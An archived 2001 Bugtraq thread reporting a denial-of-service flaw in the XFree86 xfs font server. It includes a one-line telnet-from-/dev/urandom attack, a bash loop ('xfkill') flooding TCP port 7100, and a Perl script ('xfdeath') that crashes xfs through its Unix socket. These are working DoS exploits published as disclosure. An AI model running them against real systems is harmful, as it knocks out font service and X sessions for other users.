6599001 2001-06-06 16:31 +0200 /26 rader/ =?iso-8859-2?q?Jaros=B3aw=20Zachwieja?= <grok@mhd.pl> Sänt av: joel@lysator.liu.se Importerad: 2001-06-08 18:27 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <17321> Ärende: XFree86-xfs-4.0.1-1 DoS ------------------------------------------------------------ From: =?iso-8859-2?q?Jaros=B3aw=20Zachwieja?= <grok@mhd.pl> To: bugtraq@securityfocus.com Message-ID: <01060616314900.14503@base.mhd.pl> Hello, xfs from the package XFree86-xfs-4.0.1-1 (i386.rpm), RedHat 7.0 seems to suffer from a Denial of Service attack. To cause xfs to stop responding for requests, try to do the fillowing: $ telnet victim xfs </dev/urandom Repeat about 100 (or 1000) times and you get Connection refused message. Regular Xservers can no longer connect, usually crash stating Could not open default font 'fixed' and probably get disabled for 5 minutes if run from inittab. I'd appreciate any succesfull/unsuccesfull attemps of reproducing this behaviour. Regards, -- Valentine M. Smith (6599001) /=?iso-8859-2?q?Jaros=B3aw=20Zachwieja?= <grok@mhd.pl>/(Ombruten) 6604891 2001-06-10 03:16 -0400 /79 rader/ Mathias Dybvik <tmdybvik@hotmail.com> Sänt av: joel@lysator.liu.se Importerad: 2001-06-11 02:21 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Extern kopiemottagare: grok@mhd.pl Mottagare: Bugtraq (import) <17360> Ärende: Re:XFree86-xfs-4.0.1-1 DoS ------------------------------------------------------------ From: "Mathias Dybvik" <tmdybvik@hotmail.com> To: bugtraq@securityfocus.com Cc: grok@mhd.pl Message-ID: <F222dnHM3SOlbpH71yE00000542@hotmail.com> Confirmed, on Mandrake 8.0. I should, however, point out that I was only able to take down the font-server as a local user, and not from a remote host. This could be a bandwidth problem, caused by the fact that I only have a measly 10Mb/s LAN. Then again, my urandom bandwidth is less than half of that, so I'm not sure what gives... The moral of the story is that (at least) any local user can kill the xfs process. This has dire consequences for any user either using X on that box, or using an x-terminal relying on that fontserver. [user@userland ~]$ ps -ax|grep xfs 9363 ? S 0:00 xfs -port 7100 -daemon -user xfs 9574 pts/1 S 0:00 grep xfs [user@userland ~]$./xfkill [user@userland ~]$ ps -ax|grep xfs 9626 pts/1 S 0:00 grep xfs $cat xfkill [user@userland ~]$ cat xfkill #!/bin/bash XFSPORT=7100 XFS_IP=192.168.1.254 for ((COUNT=0;COUNT<500;COUNT=$COUNT+1)) do echo sending garbage to $XFSPORT pass $COUNT telnet $XFS_IP $XFSPORT </dev/urandom &>/dev/null done Version information: $ rpm -qi XFree86-xfs Name : XFree86-xfs Relocations: (not relocateable) Version : 4.0.3 Vendor: MandrakeSoft Release : 7mdk Build Date: Sun 08 Apr 2001 08 Install date: Mon 23 Apr 2001 09:32:49 PM UTC Build Host: bi.mandrake Group : System/Servers Source RPM: XFree86-4.0.3-7mdk Size : 536213 License: MIT Summary : Font server for XFree86 >>>>>>>>>>>>>>>>>>Original Message <<<<<<<<<<<<<<<<<< On 6/6/01, 2:31:49 PM, =?iso-8859-2?q?Jaros=B3aw=20Zachwieja?= <grok@mhd.pl> wrote regarding XFree86-xfs-4.0.1-1 DoS: >Hello, >xfs from the package XFree86-xfs-4.0.1-1 (i386.rpm), RedHat 7.0 seems to >suffer from a Denial of Service attack. >To cause xfs to stop responding for requests, try to do the fillowing: >$ telnet victim xfs </dev/urandom >Repeat about 100 (or 1000) times and you get Connection refused message. >Regular Xservers can no longer connect, usually crash stating Could not >open >default font 'fixed' and probably get disabled for 5 minutes if run from >inittab. >I'd appreciate any succesfull/unsuccesfull attemps of reproducing this >behaviour. >Regards, >-- >Valentine M. Smith _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. (6604891) /Mathias Dybvik <tmdybvik@hotmail.com>/(Ombruten) 6608512 2001-06-11 00:53 -0400 /59 rader/ Mathias Dybvik <tmdybvik@hotmail.com> Sänt av: joel@lysator.liu.se Importerad: 2001-06-11 19:42 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Extern kopiemottagare: grok@mhd.pl Mottagare: Bugtraq (import) <17367> Ärende: Re:XFree86-xfs-4.0.1-1 DoS ------------------------------------------------------------ From: "Mathias Dybvik" <tmdybvik@hotmail.com> To: bugtraq@securityfocus.com Cc: grok@mhd.pl Message-ID: <F98EybqfAj81EYtN3Is000056d0@hotmail.com> I forgot to mention that the TCP attack against the font server is (obviously) only applicable to font-servers listening to TCP. (Which is probably only the case for systems serving x-terminals.) Thanks to people who pointed this out. If we want to kill a font-server running on the Mandrake/Redhat/whatever *default* setup, we have to send the garbage to the Unix-Domain socket instead. I've only tested this on Mandrake 8.0, on my system it takes about 5-10 seconds before xfs dies. I appologize if the script is ugly, I'm a PHB, not a developer, and the few lines below is more perl than I've written all year. Mathias [user@userland ~]$ ps -ax|grep xfs 3690 ? S 0:00 xfs -port -1 -daemon -user xfs 3723 pts/2 S 0:00 grep xfs [user@userland ~]$./xfdeath [user@userland ~]$ ps -ax|grep xfs 3780 pts/1 S 0:00 grep xfs [user@userland ~]$cat xfdeath #!/usr/bin/perl -w use Socket; use strict; my ($grab, $line, $garbagebyte,$i,$STOP); sub darned { $STOP=1; } open(GARBAGE, "/dev/urandom") || die "cannot read /dev/urandom: $!"; $SIG{'PIPE'} = 'darned'; for ($i = 0; $i < 1000; ++$i) { $STOP=0; $grab = shift || '/tmp/.font-unix/fs-1'; socket(A_SOCKET, PF_UNIX, SOCK_STREAM, 0) || die "socket: $!"; connect(A_SOCKET, sockaddr_un($grab)) || die "connect: $!"; while (!$STOP) { read(GARBAGE, $garbagebyte, 1); print "."; print A_SOCKET $garbagebyte; } } exit; _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. (6608512) /Mathias Dybvik <tmdybvik@hotmail.com>/(Ombruten)